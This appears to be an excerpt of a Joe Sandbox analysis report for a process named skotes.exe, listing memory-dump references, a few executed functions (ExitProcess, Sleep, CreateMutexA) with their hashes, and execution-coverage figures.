Associated: 00000003.00000002.2549404620.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549425917.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549445919.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549475434.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549497653.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549519069.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549540897.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549562525.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549587631.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549616555.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549639104.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549661813.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549688423.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549713922.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549737388.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549761848.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549786384.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549810131.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549837119.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549860813.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549880822.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549903616.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549927446.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549951485.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549978351.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549999664.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550021563.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550045581.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550068925.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550095436.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550118605.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550146387.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550169664.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550250813.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550467220.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550496328.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550519266.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550544783.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550566591.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550588653.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 296dc0008e529b044a2a2b60b60bd6bd57648146f59acb127cd7792b009f2c3c
Instruction ID: 403663dee75bf80e8a66b2630d4849457c40e21e42bf6dff2200d9e5a5163ba7
Opcode Fuzzy Hash: 296dc0008e529b044a2a2b60b60bd6bd57648146f59acb127cd7792b009f2c3c
Instruction Fuzzy Hash: 78212C71A0010AAFDF00EBA4C986EBEBFB9FF48710F100459F505A7251DB209D419BA1

Function 005EF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 005EF3A3

Strings

`'a, xrefs: 005EF375
8"a, xrefs: 005EF44B

Memory Dump Source

Source File: 00000003.00000002.2548973005.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000003.00000002.2548949921.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2548973005.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549047001.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549067532.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549091553.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549215421.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549234113.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549380104.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549404620.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549425917.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549445919.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549475434.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549497653.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549519069.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549540897.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549562525.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549587631.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549616555.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549639104.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549661813.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549688423.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549713922.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549737388.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549761848.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549786384.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549810131.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549837119.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549860813.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549880822.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549903616.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549927446.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549951485.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549978351.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549999664.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550021563.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550045581.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550068925.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550095436.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550118605.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550146387.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550169664.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550250813.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550467220.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550496328.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550519266.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550544783.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550566591.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550588653.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"a$`'a
API String ID: 3903695350-1864490601
Opcode ID: 1661bcdbba746240db52802170198ab8588be1308c4a9a0ef93f1eeacda4ea78
Instruction ID: 8001532daff06d5163ce16449d8ea312a32b74956710e9405f7808ef10635d7f
Opcode Fuzzy Hash: 1661bcdbba746240db52802170198ab8588be1308c4a9a0ef93f1eeacda4ea78
Instruction Fuzzy Hash: 3F315A31600782DFEB29AA3ADD49B5B7BE8FF84352F144829E0C5D7595DE70AC808B21

Analysis Process: skotes.exePID: 5984, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	623
Total number of Limit Nodes:	4

Executed Functions

Function 005E652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,005E652A,?,?,?,?,?,005E7661), ref: 005E6567

Memory Dump Source

Source File: 00000004.00000002.2548660492.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000004.00000002.2548643933.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548660492.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548737467.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548757925.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548779046.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548914133.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548934058.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549007032.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549024576.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549046094.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549066787.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549093300.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549116547.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549137012.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549160831.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549182102.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549205251.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549232392.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549254244.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549281911.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549377096.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549402626.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549423584.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549445045.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549465059.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549486202.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549507716.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549529530.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549550742.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549574846.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549600395.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549617416.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549641740.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549663506.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549689464.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549715164.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549738410.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549762597.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549788579.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549822117.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549847687.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549879175.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549958721.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549979243.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550002320.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550025647.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550047971.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550070415.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: d0c9f2cadfc724f16bcb0a37acd8f559bb3593d4be8eee1705270b56d60de9c3
Instruction ID: f75628fa8587a69cb556f0e1bef60f2bb5ea045c44e7e74beae9fbb15b187d3f
Opcode Fuzzy Hash: d0c9f2cadfc724f16bcb0a37acd8f559bb3593d4be8eee1705270b56d60de9c3
Instruction Fuzzy Hash: AEE086301011886FCE297B15CC499593F29FF517C5F501802F88446221CB25ED82C540

Function 005B9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005BA963
CreateMutexA.KERNELBASE(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000004.00000002.2548660492.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000004.00000002.2548643933.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548660492.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548737467.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548757925.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548779046.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548914133.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548934058.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549007032.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549024576.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549046094.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549066787.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549093300.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549116547.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549137012.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549160831.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549182102.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549205251.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549232392.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549254244.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549281911.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549377096.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549402626.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549423584.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549445045.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549465059.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549486202.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549507716.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549529530.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549550742.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549574846.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549600395.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549617416.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549641740.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549663506.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549689464.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549715164.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549738410.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549762597.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549788579.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549822117.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549847687.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549879175.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549958721.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549979243.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550002320.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550025647.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550047971.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550070415.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
Opcode ID: 80da16aeea482eaa4c2113a0b39bb0e78ce5aa6772cf3bb335598937cdf0f891
Instruction ID: 4fa7b50a841bf0635e13bf4905f8ebd7bf533544803c16cf80140235689bd40b
Opcode Fuzzy Hash: 80da16aeea482eaa4c2113a0b39bb0e78ce5aa6772cf3bb335598937cdf0f891
Instruction Fuzzy Hash: 3E3116716042059BEB08EBB8DCC9BEDBFA2FBC1314F248218E114D73D6CB75AA818751

Function 005B9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005BA963
CreateMutexA.KERNELBASE(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000004.00000002.2548660492.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000004.00000002.2548643933.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548660492.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548737467.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548757925.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548779046.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548914133.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548934058.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549007032.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549024576.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549046094.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549066787.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549093300.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549116547.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549137012.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549160831.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549182102.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549205251.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549232392.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549254244.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549281911.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549377096.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549402626.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549423584.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549445045.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549465059.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549486202.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549507716.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549529530.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549550742.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549574846.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549600395.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549617416.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549641740.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549663506.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549689464.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549715164.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549738410.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549762597.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549788579.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549822117.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549847687.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549879175.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549958721.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549979243.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550002320.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550025647.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550047971.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550070415.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
